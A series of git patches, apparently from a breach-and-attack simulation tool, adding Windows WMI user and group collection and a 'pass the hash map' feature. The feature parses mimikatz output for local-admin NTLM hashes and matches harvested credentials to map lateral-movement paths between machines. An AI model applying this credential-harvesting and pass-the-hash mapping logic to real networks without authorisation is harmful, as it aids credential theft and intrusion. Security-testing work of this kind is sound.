@@ def fix_obj_for_mongo(o): # mongo dosn't like unprintable chars, so we use repr :/ return repr(o) - + elif hasattr(o, "__class__") and o.__class__ == wmi._wmi_object: + return fix_wmi_obj_for_mongo(o) else: return repr(o) -""" def fix_wmi_obj_for_mongo(o): - for item in wmi_class: - row = {} - - for prop in item.properties: - try: - value = getattr(item, prop) - except wmi.x_wmi: - continue + row = {} - row[prop] = value + for prop in o.properties: + try: + value = getattr(o, prop) + except wmi.x_wmi: + continue - for method_name in item.methods: - if not method_name.startswith("GetOwner"): - continue + row[prop] = fix_obj_for_mongo(value) - method = getattr(item, method_name) + for method_name in o.methods: + if not method_name.startswith("GetOwner"): + continue - try: - row[method_name[3:]] = method() - - except wmi.x_wmi: - #LOG.error("Error running wmi method '%s'" % (method_name, )) - #LOG.error(traceback.format_exc()) - continue + method = getattr(o, method_name) - result.append(row) -""" + try: + value = method() + value = fix_obj_for_mongo(value) + row[method_name[3:]] = value + + except wmi.x_wmi: + #LOG.error("Error running wmi method '%s'" % (method_name, )) + #LOG.error(traceback.format_exc()) + continue + + return row class WindowsInfoCollector(InfoCollector): """ @@ -111,7 +111,7 @@ class WindowsInfoCollector(InfoCollector): def get_wmi_info(self): for wmi_class_name in WMI_CLASSES: - self.info[wmi_class_name] = fix_obj_for_mongo(self.get_wmi_class(wmi_class_name)) + self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name) def get_wmi_class(self, class_name): if not self.wmi: @@ -124,12 +124,7 @@ class WindowsInfoCollector(InfoCollector): #LOG.error(traceback.format_exc()) return - print "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" - print type(wmi_class) - print "@" * 20 - os._exit(1) - - return wmi_class + return fix_obj_for_mongo(wmi_class) def get_reg_key(self, subkey_path, store=_winreg.HKEY_LOCAL_MACHINE): key = _winreg.ConnectRegistry(None, store) From 833df8d6d4dcdac3921c7b7a785290124843b0db Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Wed, 28 Feb 2018 04:53:02 -0800 Subject: [PATCH 014/243] fix wmi table names --- .../system_info/windows_info_collector.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 1fe15fe67..9b5e12d7f 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -16,13 +16,14 @@ __author__ = 'uri' WMI_CLASSES = set(["Win32_OperatingSystem", "Win32_ComputerSystem", - "Win32_GroupUser", "Win32_LoggedOnUser", + "Win32_UserAccount", "Win32_UserProfile", - "win32_UserAccount", - "Win32_Product", - "Win32_Process", - "Win32_Service" + "Win32_Group", + "Win32_GroupUser", + #"Win32_Product", + #"Win32_Process", + #"Win32_Service" ]) def fix_obj_for_mongo(o): From 2013e706e59b771b12adac3f606ca47d1e2a1d1f Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Wed, 28 Feb 2018 08:48:21 -0800 Subject: [PATCH 015/243] add intial draft for analyses script for pth map --- monkey_island/mymap.py | 190 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 190 insertions(+) create mode 100644 monkey_island/mymap.py diff --git a/monkey_island/mymap.py b/monkey_island/mymap.py new file mode 100644 index 000000000..106ba95e3 --- /dev/null +++ b/monkey_island/mymap.py @@ -0,0 +1,190 @@ +from pymongo import MongoClient +db = MongoClient().monkeyisland + +DsRole_RoleStandaloneWorkstation = 0 +DsRole_RoleMemberWorkstation = 1 +DsRole_RoleStandaloneServer = 2 +DsRole_RoleMemberServer = 3 +DsRole_RoleBackupDomainController = 4 +DsRole_RolePrimaryDomainController = 5 + +class Machine(object): + def __init__(self, monkey_guid): + self.monkey_guid = str(monkey_guid) + + def GetHostName(self): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + names = set() + + for doc in cur: + for comp in doc["data"]["Win32_ComputerSystem"]: + names.add(eval(comp["Name"])) + + if len(names) == 1: + return names.pop() + + return None + + def GetDomainName(self): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + names = set() + + for doc in cur: + for comp in doc["data"]["Win32_ComputerSystem"]: + names.add(eval(comp["Domain"])) + + if len(names) == 1: + return names.pop() + + return None + + def GetDomainRole(self): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + roles = set() + + for doc in cur: + for comp in doc["data"]["Win32_ComputerSystem"]: + roles.add(comp["DomainRole"]) + + if len(roles) == 1: + return roles.pop() + + return None + + def GetSidByUsername(self, username): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_UserAccount.Name":"u'%s'" % (username,)}) + + SIDs = set() + + for doc in cur: + for user in doc["data"]["Win32_UserAccount"]: + if eval(user["Name"]) != username: + continue + + SIDs.add(eval(user["SID"])) + + if len(SIDs) == 1: + return SIDs.pop() + + return None + + def GetUsernameBySid(self, sid): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_UserAccount.SID":"u'%s'" % (sid,)}) + + names = set() + + for doc in cur: + for user in doc["data"]["Win32_UserAccount"]: + if eval(user["SID"]) != sid: + continue + + names.add(eval(user["Name"])) + + if len(names) == 1: + return names.pop() + + return None + + def GetGroupSidByGroupName(self, group_name): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_Group.Name":"u'%s'" % (group_name,)}) + SIDs = set() + + for doc in cur: + for group in doc["data"]["Win32_Group"]: + if eval(group["Name"]) != group_name: + continue + + SIDs.add(eval(group["SID"])) + + if len(SIDs) == 1: + return SIDs.pop() + + return None + + def GetUsersByGroupSid(self, sid): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_GroupUser.GroupComponent.SID":"u'%s'" % (sid,)}) + + SIDs = set() + + for doc in cur: + for group_user in doc["data"]["Win32_GroupUser"]: + if eval(group_user["GroupComponent"]["SID"]) != sid: + continue + + SIDs.add(eval(group_user["PartComponent"]["SID"])) + + return SIDs + + def GetDomainControllersMonkeyGuidByDomainName(self, domain_name): + cur = db.telemetry.find({"telem_type":"system_info_collection", "data.Win32_ComputerSystem.Domain":"u'%s'" % (domain_name,)}) + + GUIDs = set() + + for doc in cur: + for comp in doc["data"]["Win32_ComputerSystem"]: + if ((comp["DomainRole"] != DsRole_RolePrimaryDomainController) and + (comp["DomainRole"] != DsRole_RoleBackupDomainController)): + continue + + GUIDs.add(doc["monkey_guid"]) + + return GUIDs + + def GetLocalAdmins(self): + return self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")) + + def GetDomainAdminsOfMachine(self): + domain_name = self.GetDomainName() + DCs = self.GetDomainControllersMonkeyGuidByDomainName(domain_name) + + domain_admins = set() + + for dc_monkey_guid in DCs: + domain_admins += Machine(dc_monkey_guid).GetLocalAdmins() + + return domain_admins + + def GetAdmins(self): + return self.GetLocalAdmins() | self.GetDomainAdminsOfMachine() + + def GetCachedSids(self): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + SIDs = set() + + for doc in cur: + for username in doc["data"]["credentials"]: + SIDs.add(self.GetSidByUsername(username)) + + return SIDs + +def GetAllMachines(): + cur = db.telemetry.find({"telem_type":"system_info_collection"}) + + GUIDs = set() + + for doc in cur: + GUIDs.add(doc["monkey_guid"]) + + return GUIDs + +vertices = GetAllMachines() +edges = set() + +for attacker in vertices: + cached = Machine(attacker).GetCachedSids() + + for victim in vertices: + if attacker == victim: + continue + + admins = Machine(victim).GetAdmins() + + if len(cached & admins) > 0: + edges.add((attacker, victim)) + +print vertices +print edges \ No newline at end of file From dd0b73519c80b70f2f5ac5e03fc7012437c42f5a Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Sun, 4 Mar 2018 03:54:41 -0800 Subject: [PATCH 016/243] use the collected sam info --- monkey_island/mymap.py | 200 ++++++++++++++++++++++++++++++++++------- 1 file changed, 170 insertions(+), 30 deletions(-) diff --git a/monkey_island/mymap.py b/monkey_island/mymap.py index 106ba95e3..08973cd46 100644 --- a/monkey_island/mymap.py +++ b/monkey_island/mymap.py @@ -1,3 +1,5 @@ +import hashlib +import binascii from pymongo import MongoClient db = MongoClient().monkeyisland @@ -8,10 +10,27 @@ DsRole_RoleMemberServer = 3 DsRole_RoleBackupDomainController = 4 DsRole_RolePrimaryDomainController = 5 +def myntlm(x): + hash = hashlib.new('md4', x.encode('utf-16le')).digest() + return str(binascii.hexlify(hash)) + class Machine(object): def __init__(self, monkey_guid): self.monkey_guid = str(monkey_guid) + def GetMimikatzOutput(self): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + output = set() + + for doc in cur: + output.add(doc["data"]["mimikatz"]) + + if len(output) == 1: + return output.pop() + + return None + def GetHostName(self): cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) @@ -26,6 +45,17 @@ class Machine(object): return None + def GetIp(self): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + names = set() + + for doc in cur: + for addr in doc["data"]["network_info"]["networks"]: + return str(addr["addr"]) + + return None + def GetDomainName(self): cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) @@ -107,16 +137,19 @@ class Machine(object): def GetUsersByGroupSid(self, sid): cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_GroupUser.GroupComponent.SID":"u'%s'" % (sid,)}) - SIDs = set() + users = dict() for doc in cur: for group_user in doc["data"]["Win32_GroupUser"]: if eval(group_user["GroupComponent"]["SID"]) != sid: continue + + if "PartComponent" not in group_user.keys(): + continue - SIDs.add(eval(group_user["PartComponent"]["SID"])) + users[eval(group_user["PartComponent"]["SID"])] = eval(group_user["PartComponent"]["Name"]) - return SIDs + return users def GetDomainControllersMonkeyGuidByDomainName(self, domain_name): cur = db.telemetry.find({"telem_type":"system_info_collection", "data.Win32_ComputerSystem.Domain":"u'%s'" % (domain_name,)}) @@ -134,7 +167,47 @@ class Machine(object): return GUIDs def GetLocalAdmins(self): - return self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")) + return self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).keys() + + def GetLocalAdminNames(self): + return self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).values() + + def GetLocalAdminSecrets(self): + admin_names = self.GetLocalAdminNames() + sam_users = str(self.GetMimikatzOutput()).split("\nSAMKey :")[1].split("\n\n")[1:] + + admin_secrets = set() + + for sam_user_txt in sam_users: + sam_user = dict([map(str.strip, line.split(":")) for line in filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) + + if sam_user["User"] not in admin_names: + continue + + admin_secrets.add(sam_user["NTLM"].replace("[hashed secret]", "").strip()) + + return admin_secrets + + def GetCachedSecrets(self): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + secrets = set() + + for doc in cur: + for username in doc["data"]["credentials"]: + user = doc["data"]["credentials"][username] + + if "password" in user.keys(): + ntlm = myntlm(str(user["password"])) + elif "ntlm_hash" in user.keys(): + ntlm = str(user["ntlm_hash"]) + else: + continue + + secret = hashlib.md5(ntlm.decode("hex")).hexdigest() + secrets.add(secret) + + return secrets def GetDomainAdminsOfMachine(self): domain_name = self.GetDomainName() @@ -143,13 +216,16 @@ class Machine(object): domain_admins = set() for dc_monkey_guid in DCs: - domain_admins += Machine(dc_monkey_guid).GetLocalAdmins() + domain_admins |= Machine(dc_monkey_guid).GetLocalAdmins() return domain_admins def GetAdmins(self): return self.GetLocalAdmins() | self.GetDomainAdminsOfMachine() + def GetAdminNames(self): + return set(map(lambda x: self.GetUsernameBySid(x), self.GetAdmins())) + def GetCachedSids(self): cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) @@ -161,30 +237,94 @@ class Machine(object): return SIDs -def GetAllMachines(): - cur = db.telemetry.find({"telem_type":"system_info_collection"}) - - GUIDs = set() - - for doc in cur: - GUIDs.add(doc["monkey_guid"]) - - return GUIDs - -vertices = GetAllMachines() -edges = set() - -for attacker in vertices: - cached = Machine(attacker).GetCachedSids() - - for victim in vertices: - if attacker == victim: - continue - - admins = Machine(victim).GetAdmins() + def GetCachedUsernames(self): + cur = db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) - if len(cached & admins) > 0: - edges.add((attacker, victim)) + SIDs = set() + + for doc in cur: + for username in doc["data"]["credentials"]: + SIDs.add(username) + + return SIDs -print vertices -print edges \ No newline at end of file +class PassTheHashMap(object): + def __init__(self): + self.vertices = self.GetAllMachines() + self.edges = set() + + self.GenerateEdgesBySid() # Useful for non-cached domain users + self.GenerateEdgesBySamHash() # This will add edges based only on password hash without caring about username + + def GetAllMachines(self): + cur = db.telemetry.find({"telem_type":"system_info_collection"}) + + GUIDs = set() + + for doc in cur: + GUIDs.add(doc["monkey_guid"]) + + return GUIDs + + def GenerateEdgesBySid(self): + for attacker in self.vertices: + cached = Machine(attacker).GetCachedSids() + + for victim in self.vertices: + if attacker == victim: + continue + + admins = Machine(victim).GetAdmins() + + if len(cached & admins) > 0: + self.edges.add((attacker, victim)) + + def GenerateEdgesBySamHash(self): + for attacker in self.vertices: + cached = Machine(attacker).GetCachedSecrets() + + for victim in self.vertices: + if attacker == victim: + continue + + admins = Machine(victim).GetLocalAdminSecrets() + + if len(cached & admins) > 0: + self.edges.add((attacker, victim)) + + def GenerateEdgesByUsername(self): + for attacker in self.vertices: + cached = Machine(attacker).GetCachedUsernames() + + for victim in self.vertices: + if attacker == victim: + continue + + admins = Machine(victim).GetAdminNames() + + if len(cached & admins) > 0: + self.edges.add((attacker, victim)) + + def Print(self): + print map(lambda x: Machine(x).GetIp(), self.vertices) + print map(lambda x: (Machine(x[0]).GetIp(), Machine(x[1]).GetIp()), self.edges) + +PassTheHashMap().Print() + +#monkey_guid_island = 345051728334 +#monkey_guid_c = 345051740363 +#monkey_guid_d = 345051735830 +# +#island = Machine(monkey_guid_island) +#c = Machine(monkey_guid_c) +#d = Machine(monkey_guid_d) +# +#assert str(island.GetIp()).endswith(".5") +#assert str(c.GetIp()).endswith(".203") +#assert str(d.GetIp()).endswith(".204") + +#print "sam", island.GetLocalAdminSecrets() +#print "lsa", island.GetCachedSecrets() + +#print "cached", c.GetCachedSids() +#print "admins", d.GetAdmins() From 6779d4c75812387f8c942764846803a706be510b Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Sun, 4 Mar 2018 04:11:15 -0800 Subject: [PATCH 017/243] fix --- monkey_island/mymap.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey_island/mymap.py b/monkey_island/mymap.py index 08973cd46..a9854468d 100644 --- a/monkey_island/mymap.py +++ b/monkey_island/mymap.py @@ -167,10 +167,10 @@ class Machine(object): return GUIDs def GetLocalAdmins(self): - return self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).keys() + return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).keys()) def GetLocalAdminNames(self): - return self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).values() + return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).values()) def GetLocalAdminSecrets(self): admin_names = self.GetLocalAdminNames() From 00fe34d43189d74248a2330af98bd9b8fd7c0adf Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Sun, 4 Mar 2018 05:22:34 -0800 Subject: [PATCH 018/243] add pth map to ui --- monkey_island/cc/app.py | 3 + monkey_island/cc/resources/pthmap.py | 327 ++++++++++++++++++ monkey_island/cc/ui/src/components/Main.js | 2 + .../components/pages/PassTheHashMapPage.js | 58 ++++ 4 files changed, 390 insertions(+) create mode 100644 monkey_island/cc/resources/pthmap.py create mode 100644 monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js diff --git a/monkey_island/cc/app.py b/monkey_island/cc/app.py index 4733d5089..b6d680a87 100644 --- a/monkey_island/cc/app.py +++ b/monkey_island/cc/app.py @@ -17,6 +17,7 @@ from cc.resources.monkey import Monkey from cc.resources.monkey_configuration import MonkeyConfiguration from cc.resources.monkey_download import MonkeyDownload from cc.resources.netmap import NetMap +from cc.resources.pthmap import PthMap from cc.resources.node import Node from cc.resources.report import Report from cc.resources.root import Root @@ -101,5 +102,7 @@ def init_app(mongo_url): api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/') api.add_resource(Report, '/api/report', '/api/report/') api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') + + api.add_resource(PthMap, '/api/pthmap', '/api/pthmap/') return app diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py new file mode 100644 index 000000000..b027991ee --- /dev/null +++ b/monkey_island/cc/resources/pthmap.py @@ -0,0 +1,327 @@ +import flask_restful + +from cc.auth import jwt_required +from cc.services.edge import EdgeService +from cc.services.node import NodeService +from cc.database import mongo + +import hashlib +import binascii +from pymongo import MongoClient + +class PthMap(flask_restful.Resource): + @jwt_required() + def get(self, **kw): + graph = PassTheHashMap() + + return \ + { + "nodes": [{"id": x} for x in graph.vertices], + "edges": [{"id": str(s) + str(t), "from": s, "to": t} for s, t in graph.edges] + } + +DsRole_RoleStandaloneWorkstation = 0 +DsRole_RoleMemberWorkstation = 1 +DsRole_RoleStandaloneServer = 2 +DsRole_RoleMemberServer = 3 +DsRole_RoleBackupDomainController = 4 +DsRole_RolePrimaryDomainController = 5 + +def myntlm(x): + hash = hashlib.new('md4', x.encode('utf-16le')).digest() + return str(binascii.hexlify(hash)) + +class Machine(object): + def __init__(self, monkey_guid): + self.monkey_guid = str(monkey_guid) + + def GetMimikatzOutput(self): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + output = set() + + for doc in cur: + output.add(doc["data"]["mimikatz"]) + + if len(output) == 1: + return output.pop() + + return None + + def GetHostName(self): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + names = set() + + for doc in cur: + for comp in doc["data"]["Win32_ComputerSystem"]: + names.add(eval(comp["Name"])) + + if len(names) == 1: + return names.pop() + + return None + + def GetIp(self): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + names = set() + + for doc in cur: + for addr in doc["data"]["network_info"]["networks"]: + return str(addr["addr"]) + + return None + + def GetDomainName(self): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + names = set() + + for doc in cur: + for comp in doc["data"]["Win32_ComputerSystem"]: + names.add(eval(comp["Domain"])) + + if len(names) == 1: + return names.pop() + + return None + + def GetDomainRole(self): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + roles = set() + + for doc in cur: + for comp in doc["data"]["Win32_ComputerSystem"]: + roles.add(comp["DomainRole"]) + + if len(roles) == 1: + return roles.pop() + + return None + + def GetSidByUsername(self, username): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_UserAccount.Name":"u'%s'" % (username,)}) + + SIDs = set() + + for doc in cur: + for user in doc["data"]["Win32_UserAccount"]: + if eval(user["Name"]) != username: + continue + + SIDs.add(eval(user["SID"])) + + if len(SIDs) == 1: + return SIDs.pop() + + return None + + def GetUsernameBySid(self, sid): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_UserAccount.SID":"u'%s'" % (sid,)}) + + names = set() + + for doc in cur: + for user in doc["data"]["Win32_UserAccount"]: + if eval(user["SID"]) != sid: + continue + + names.add(eval(user["Name"])) + + if len(names) == 1: + return names.pop() + + return None + + def GetGroupSidByGroupName(self, group_name): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_Group.Name":"u'%s'" % (group_name,)}) + SIDs = set() + + for doc in cur: + for group in doc["data"]["Win32_Group"]: + if eval(group["Name"]) != group_name: + continue + + SIDs.add(eval(group["SID"])) + + if len(SIDs) == 1: + return SIDs.pop() + + return None + + def GetUsersByGroupSid(self, sid): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_GroupUser.GroupComponent.SID":"u'%s'" % (sid,)}) + + users = dict() + + for doc in cur: + for group_user in doc["data"]["Win32_GroupUser"]: + if eval(group_user["GroupComponent"]["SID"]) != sid: + continue + + if "PartComponent" not in group_user.keys(): + continue + + users[eval(group_user["PartComponent"]["SID"])] = eval(group_user["PartComponent"]["Name"]) + + return users + + def GetDomainControllersMonkeyGuidByDomainName(self, domain_name): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "data.Win32_ComputerSystem.Domain":"u'%s'" % (domain_name,)}) + + GUIDs = set() + + for doc in cur: + for comp in doc["data"]["Win32_ComputerSystem"]: + if ((comp["DomainRole"] != DsRole_RolePrimaryDomainController) and + (comp["DomainRole"] != DsRole_RoleBackupDomainController)): + continue + + GUIDs.add(doc["monkey_guid"]) + + return GUIDs + + def GetLocalAdmins(self): + return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).keys()) + + def GetLocalAdminNames(self): + return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).values()) + + def GetLocalAdminSecrets(self): + admin_names = self.GetLocalAdminNames() + sam_users = str(self.GetMimikatzOutput()).split("\nSAMKey :")[1].split("\n\n")[1:] + + admin_secrets = set() + + for sam_user_txt in sam_users: + sam_user = dict([map(str.strip, line.split(":")) for line in filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) + + if sam_user["User"] not in admin_names: + continue + + admin_secrets.add(sam_user["NTLM"].replace("[hashed secret]", "").strip()) + + return admin_secrets + + def GetCachedSecrets(self): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + secrets = set() + + for doc in cur: + for username in doc["data"]["credentials"]: + user = doc["data"]["credentials"][username] + + if "password" in user.keys(): + ntlm = myntlm(str(user["password"])) + elif "ntlm_hash" in user.keys(): + ntlm = str(user["ntlm_hash"]) + else: + continue + + secret = hashlib.md5(ntlm.decode("hex")).hexdigest() + secrets.add(secret) + + return secrets + + def GetDomainAdminsOfMachine(self): + domain_name = self.GetDomainName() + DCs = self.GetDomainControllersMonkeyGuidByDomainName(domain_name) + + domain_admins = set() + + for dc_monkey_guid in DCs: + domain_admins |= Machine(dc_monkey_guid).GetLocalAdmins() + + return domain_admins + + def GetAdmins(self): + return self.GetLocalAdmins() | self.GetDomainAdminsOfMachine() + + def GetAdminNames(self): + return set(map(lambda x: self.GetUsernameBySid(x), self.GetAdmins())) + + def GetCachedSids(self): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + SIDs = set() + + for doc in cur: + for username in doc["data"]["credentials"]: + SIDs.add(self.GetSidByUsername(username)) + + return SIDs + + def GetCachedUsernames(self): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + SIDs = set() + + for doc in cur: + for username in doc["data"]["credentials"]: + SIDs.add(username) + + return SIDs + +class PassTheHashMap(object): + def __init__(self): + self.vertices = self.GetAllMachines() + self.edges = set() + + #self.GenerateEdgesBySid() # Useful for non-cached domain users + self.GenerateEdgesBySamHash() # This will add edges based only on password hash without caring about username + + def GetAllMachines(self): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection"}) + + GUIDs = set() + + for doc in cur: + GUIDs.add(doc["monkey_guid"]) + + return GUIDs + + def GenerateEdgesBySid(self): + for attacker in self.vertices: + cached = Machine(attacker).GetCachedSids() + + for victim in self.vertices: + if attacker == victim: + continue + + admins = Machine(victim).GetAdmins() + + if len(cached & admins) > 0: + self.edges.add((attacker, victim)) + + def GenerateEdgesBySamHash(self): + for attacker in self.vertices: + cached = Machine(attacker).GetCachedSecrets() + + for victim in self.vertices: + if attacker == victim: + continue + + admins = Machine(victim).GetLocalAdminSecrets() + + if len(cached & admins) > 0: + self.edges.add((attacker, victim)) + + def GenerateEdgesByUsername(self): + for attacker in self.vertices: + cached = Machine(attacker).GetCachedUsernames() + + for victim in self.vertices: + if attacker == victim: + continue + + admins = Machine(victim).GetAdminNames() + + if len(cached & admins) > 0: + self.edges.add((attacker, victim)) + + def Print(self): + print map(lambda x: Machine(x).GetIp(), self.vertices) + print map(lambda x: (Machine(x[0]).GetIp(), Machine(x[1]).GetIp()), self.edges) diff --git a/monkey_island/cc/ui/src/components/Main.js b/monkey_island/cc/ui/src/components/Main.js index 771e2257a..48410bc94 100644 --- a/monkey_island/cc/ui/src/components/Main.js +++ b/monkey_island/cc/ui/src/components/Main.js @@ -7,6 +7,7 @@ import RunServerPage from 'components/pages/RunServerPage'; import ConfigurePage from 'components/pages/ConfigurePage'; import RunMonkeyPage from 'components/pages/RunMonkeyPage'; import MapPage from 'components/pages/MapPage'; +import PassTheHashMapPage from 'components/pages/PassTheHashMapPage'; import TelemetryPage from 'components/pages/TelemetryPage'; import StartOverPage from 'components/pages/StartOverPage'; import ReportPage from 'components/pages/ReportPage'; @@ -162,6 +163,7 @@ class AppComponent extends AuthComponent { {this.renderRoute('/run-monkey', )} {this.renderRoute('/infection/map', )} {this.renderRoute('/infection/telemetry', )} + {this.renderRoute('/pth', )} {this.renderRoute('/start-over', )} {this.renderRoute('/report', )} {this.renderRoute('/license', )} diff --git a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js new file mode 100644 index 000000000..bea2f7b63 --- /dev/null +++ b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js @@ -0,0 +1,58 @@ +import React from 'react'; +import {Col} from 'react-bootstrap'; +import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; +import AuthComponent from '../AuthComponent'; + +class PassTheHashMapPageComponent extends AuthComponent { + constructor(props) { + super(props); + this.state = { + graph: {nodes: [], edges: []}, + selected: null, + selectedType: null, + killPressed: false, + showKillDialog: false, + telemetry: [], + telemetryLastTimestamp: null + }; + } + + componentDidMount() { + this.updateMapFromServer(); + this.interval = setInterval(this.timedEvents, 1000); + } + + componentWillUnmount() { + clearInterval(this.interval); + } + + timedEvents = () => { + this.updateMapFromServer(); + }; + + updateMapFromServer = () => { + this.authFetch('/api/pthmap') + .then(res => res.json()) + .then(res => { + this.setState({graph: res}); + this.props.onStatusChange(); + }); + }; + + render() { + return ( +
    + +

    3. Pass The Hash Map

    + + +
    + +
    + +
    + ); + } +} + +export default PassTheHashMapPageComponent; From 8a3216d8125db26462d01482d03f08537e1f0407 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Sun, 4 Mar 2018 06:24:22 -0800 Subject: [PATCH 019/243] works --- .../components/pages/PassTheHashMapPage.js | 27 ++++++++++++++++--- 1 file changed, 24 insertions(+), 3 deletions(-) diff --git a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js index bea2f7b63..26ce71cc9 100644 --- a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js +++ b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js @@ -2,6 +2,27 @@ import React from 'react'; import {Col} from 'react-bootstrap'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import AuthComponent from '../AuthComponent'; +import Graph from 'react-graph-vis'; + +const options = { + autoResize: true, + layout: { + improvedLayout: false + }, + edges: { + width: 2, + smooth: { + type: 'curvedCW' + } + }, + physics: { + barnesHut: { + gravitationalConstant: -120000, + avoidOverlap: 0.5 + }, + minVelocity: 0.75 + } +}; class PassTheHashMapPageComponent extends AuthComponent { constructor(props) { @@ -43,11 +64,11 @@ class PassTheHashMapPageComponent extends AuthComponent { return (
    -

    3. Pass The Hash Map

    +

    Pass The Hash Map

    -
    - +
    +
    From 01b071dfe1b3fee7ebd551b08a35dc0e1cd2f508 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 6 Mar 2018 00:32:57 -0800 Subject: [PATCH 020/243] add labels --- monkey_island/cc/resources/pthmap.py | 97 ++++++++++++++++++++++------ 1 file changed, 77 insertions(+), 20 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index b027991ee..93ba9c410 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -16,8 +16,8 @@ class PthMap(flask_restful.Resource): return \ { - "nodes": [{"id": x} for x in graph.vertices], - "edges": [{"id": str(s) + str(t), "from": s, "to": t} for s, t in graph.edges] + "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in graph.vertices], + "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in graph.edges] } DsRole_RoleStandaloneWorkstation = 0 @@ -100,6 +100,9 @@ class Machine(object): return roles.pop() return None + + def IsDomainController(self): + return self.GetDomainRole() in (DsRole_RolePrimaryDomainController, DsRole_RoleBackupDomainController) def GetSidByUsername(self, username): cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_UserAccount.Name":"u'%s'" % (username,)}) @@ -133,6 +136,22 @@ class Machine(object): if len(names) == 1: return names.pop() + if not self.IsDomainController(): + for dc in self.GetDomainControllers(): + username = 